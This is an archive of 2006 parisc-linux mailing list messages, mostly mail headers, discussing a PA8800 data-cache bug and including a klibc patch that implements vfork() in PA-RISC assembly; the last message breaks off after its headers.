Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by free.linux.hp.com (Postfix) with ESMTP id 87BFA7D7A6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:34:06 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so3119067ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 09:34:05 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=pI+SBFWydGkjW5IJOuuWBz2+7+gGce/oxPHzwX3qaHIXiCmeWKPvG/E3IgUE3qE1sJ6Ge57D4eg37jHRHNf65NSBHfdnYiDK/wo/B85JpOmudtH4MqZKZOcIUFgBtW45AYVLuuAqGfF/dH/DbkYbf4uEjns3LKVTqSUNm5OZtoo=
Original-Received: by 10.78.175.14 with SMTP id x14mr2430922hue;
	Tue, 25 Jul 2006 09:34:05 -0700 (PDT)
Original-Received: by 10.78.172.2 with HTTP; Tue, 25 Jul 2006 09:34:05 -0700 (PDT)
In-Reply-To: <1153839113.3452.28.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Google-Sender-Auth: a3520e89474086e9
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ODLzLAh5ZDI47rHGdWY2YRRxemhmY8FR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23847

On 7/25/06, James Bottomley <James.Bottomley@steeleye.com> wrote:

> This theory seems to explain all of the behaviour, why we see it so
> rarely, and why it seems to happen around forks when I/O is going on in
> the system.  Unfortunately it also seems to indicate that the only way
> of fixing it would be to have full equivalence.

So basically what you explain here should only affect pa8800, and what
we see on other machines is something else, correct?

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Tue, 25 Jul 2006 12:37:04 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <7d01f9f00607250937i76ceaa01r4751d9ed9f02acd5@mail.gmail.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<20060724033223.GE29603@parisc-linux.org>
	<7d01f9f00607232115n18865924s4f07f64d84e45dce@mail.gmail.com>
	<1153750204.1235.18.camel@mulgrave.il.steeleye.com>
	<20060724163228.GA22560@colo.lackof.org>
	<1153839113.3452.28.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607250934o111be951sc4ba0b765ed986ba@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624140 20537 80.91.229.3 (22 Nov 2014 02:42:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:20 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 16:37:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 25 Jul 2006 18:37:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 730597D68D;
	Tue, 25 Jul 2006 10:37:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01090-05; Tue, 25 Jul 2006 10:37:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 556AF7D678;
	Tue, 25 Jul 2006 10:37:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C01FE7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:37:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01090-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:37:06 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.173])
	by free.linux.hp.com (Postfix) with ESMTP id 4A1DC7D669
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:37:06 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so3120540ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 09:37:05 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=irZf/ufZ7od/YGfnGAc+NEJeTrBwGN2dS3VOjTS4UxOy5Ln+g+gv52fxXtj6SLuxMg0vsZi5vC4WrsZoA614ZUcm2slyOFfyJaB4T2ULeFnJ5dL1Ap9COEUFvkUnOEWiDuQHFjfcJulPyjC2O5rv/VHBVxdJL5Z8dVpfM6VCmXg=
Original-Received: by 10.78.139.5 with SMTP id m5mr2420180hud;
	Tue, 25 Jul 2006 09:37:04 -0700 (PDT)
Original-Received: by 10.78.172.2 with HTTP; Tue, 25 Jul 2006 09:37:04 -0700 (PDT)
In-Reply-To: <7d01f9f00607250934o111be951sc4ba0b765ed986ba@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 5beb1701d9747289
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jnH1fIBCMmApvrSZZGFnVEwxMjQ1N53T
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23848

On 7/25/06, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> On 7/25/06, James Bottomley <James.Bottomley@steeleye.com> wrote:
>
> > This theory seems to explain all of the behaviour, why we see it so
> > rarely, and why it seems to happen around forks when I/O is going on in
> > the system.  Unfortunately it also seems to indicate that the only way
> > of fixing it would be to have full equivalence.
>
> So basically what you explain here should only affect pa8800, and what
> we see on other machines is something else, correct?

And another quick dump: "rarely" only if we have one socket enabled in
the system. Try to enable both sockets, the system won't even boot...
Might be something else again, though.
Yet, that's probably a clue.

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Tue, 25 Jul 2006 12:46:15 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20060725164615.GD4311@athena.road.mcmartin.ca>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<20060724033223.GE29603@parisc-linux.org>
	<7d01f9f00607232115n18865924s4f07f64d84e45dce@mail.gmail.com>
	<1153750204.1235.18.camel@mulgrave.il.steeleye.com>
	<20060724163228.GA22560@colo.lackof.org>
	<1153839113.3452.28.camel@mulgrave.il.steeleye.com>
	<20060725161345.GA13707@hiauly1.hia.nrc.ca>
	<1153844239.3452.29.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624140 20540 80.91.229.3 (22 Nov 2014 02:42:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:20 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Thibaut VARENE <T-Bone@parisc-linux.org>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2006 16:46:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 25 Jul 2006 18:46:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF3077D7B4;
	Tue, 25 Jul 2006 10:46:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01343-05; Tue, 25 Jul 2006 10:46:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1552C7D7BF;
	Tue, 25 Jul 2006 10:46:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A39457D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:46:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01343-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:46:50 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 700437D678
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Jul 2006 10:46:50 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 88A1A5840AB;
	Tue, 25 Jul 2006 12:46:49 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 1C01F5840A8;
	Tue, 25 Jul 2006 12:46:49 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 9F40923E83;
	Tue, 25 Jul 2006 12:46:48 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15029-09; Tue, 25 Jul 2006 12:46:48 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (firewall.oeone.com [216.191.248.101])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 2243C23E82;
	Tue, 25 Jul 2006 12:46:48 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 184E83B060; Tue, 25 Jul 2006 12:46:15 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1153844239.3452.29.camel@mulgrave.il.steeleye.com>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: N3L+cY4Fbmw7vq2HZzdLXs1HUzc4clGU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23849

On Tue, Jul 25, 2006 at 11:17:19AM -0500, James Bottomley wrote:
> Kyle's working on it based on Grant's original work ... you need access
> to a lot of secret diag registers to do this, though, so it's not easy.
> 

WTF? Am not.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] vfork() for parisc
Date: Sun, 23 Jul 2006 23:14:38 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <20060724031438.GB5542@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624140 20544 80.91.229.3 (22 Nov 2014 02:42:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: klibc@zytor.com
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 03:15:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 24 Jul 2006 05:15:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 973F67D70B;
	Sun, 23 Jul 2006 21:15:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09665-08; Sun, 23 Jul 2006 21:15:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC3A07D70D;
	Sun, 23 Jul 2006 21:15:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3DAA47D709
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:15:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09665-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:15:09 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 06BAA7D708
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:15:09 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 75A4C5840B3;
	Sun, 23 Jul 2006 23:15:08 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D85DC5840B0;
	Sun, 23 Jul 2006 23:15:07 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 6769623E83;
	Sun, 23 Jul 2006 23:15:07 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27484-08; Sun, 23 Jul 2006 23:15:07 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 2142523E82;
	Sun, 23 Jul 2006 23:15:07 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id A03D93B060; Sun, 23 Jul 2006 23:14:38 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dQz2dW12Iyd18PqQe2drXL1aa2FkZlWI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23850

Implement "pid_t vfork(void)" for parisc.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---

Ugh. vfork() me harder.

 Kbuild  |    2 +-
 vfork.S |   31 +++++++++++++++++++++++++++++++
 2 files changed, 32 insertions(+), 1 deletion(-)

diff --git a/usr/klibc/arch/parisc/Kbuild b/usr/klibc/arch/parisc/Kbuild
index d57a873..57ca5c2 100644
--- a/usr/klibc/arch/parisc/Kbuild
+++ b/usr/klibc/arch/parisc/Kbuild
@@ -2,7 +2,7 @@ #
 # klibc files for parisc
 #
 
-klib-y := setjmp.o syscall.o
+klib-y := setjmp.o syscall.o vfork.o
 
 always  := crt0.o
 targets := crt0.o
diff --git a/usr/klibc/arch/parisc/vfork.S b/usr/klibc/arch/parisc/vfork.S
new file mode 100644
index 0000000..97ebc8f
--- /dev/null
+++ b/usr/klibc/arch/parisc/vfork.S
@@ -0,0 +1,31 @@
+/*
+ * arch/parisc/vfork.S, "vfork() me harder. ugh." -- kyle
+ *
+ * %r20 contains the system call number, %rp contains whence we came,
+ * %rp is saved and restored across the syscall, thankfully.
+ *
+ */
+
+	.text
+	.align 64				; cache-width aligned
+	.globl	vfork
+	.type	vfork,@function
+vfork:
+	/* pid_t vfork(void) */
+	ble		0x100(%sr2, %r0)	; jump to gateway page
+	nop
+
+	ldi		-0x1000,%r19		; %r19 = -4096
+	sub		%r0,%ret0,%r22		; %r22 = -%ret0
+	cmpb,>>=,n	%r19,%ret0,1f		; if %ret0 >= -4096UL
+	ldi		-1,%ret0		; nullified on taken forward
+
+	/* store %r22 to errno... */
+	ldil		L%errno,%r1
+	ldo		R%errno(%r1),%r1
+	stw		%r22,0(%r1)
+1:
+	bv		%r0(%rp)		; jump back
+	nop
+
+	.size vfork,.-vfork
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Sun, 23 Jul 2006 21:32:23 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20060724033223.GE29603@parisc-linux.org>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624141 20549 80.91.229.3 (22 Nov 2014 02:42:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 03:32:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 24 Jul 2006 05:32:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 201727D724;
	Sun, 23 Jul 2006 21:32:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10184-04; Sun, 23 Jul 2006 21:32:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B66F7D720;
	Sun, 23 Jul 2006 21:32:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AE8E7D71D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:32:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10030-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:32:23 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 94EE37D71B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:32:23 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix, from userid 26919)
	id 6B0D849400F; Sun, 23 Jul 2006 21:32:23 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MU6tK8ZOMydynYigZWpl5LBraGRhZlpA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
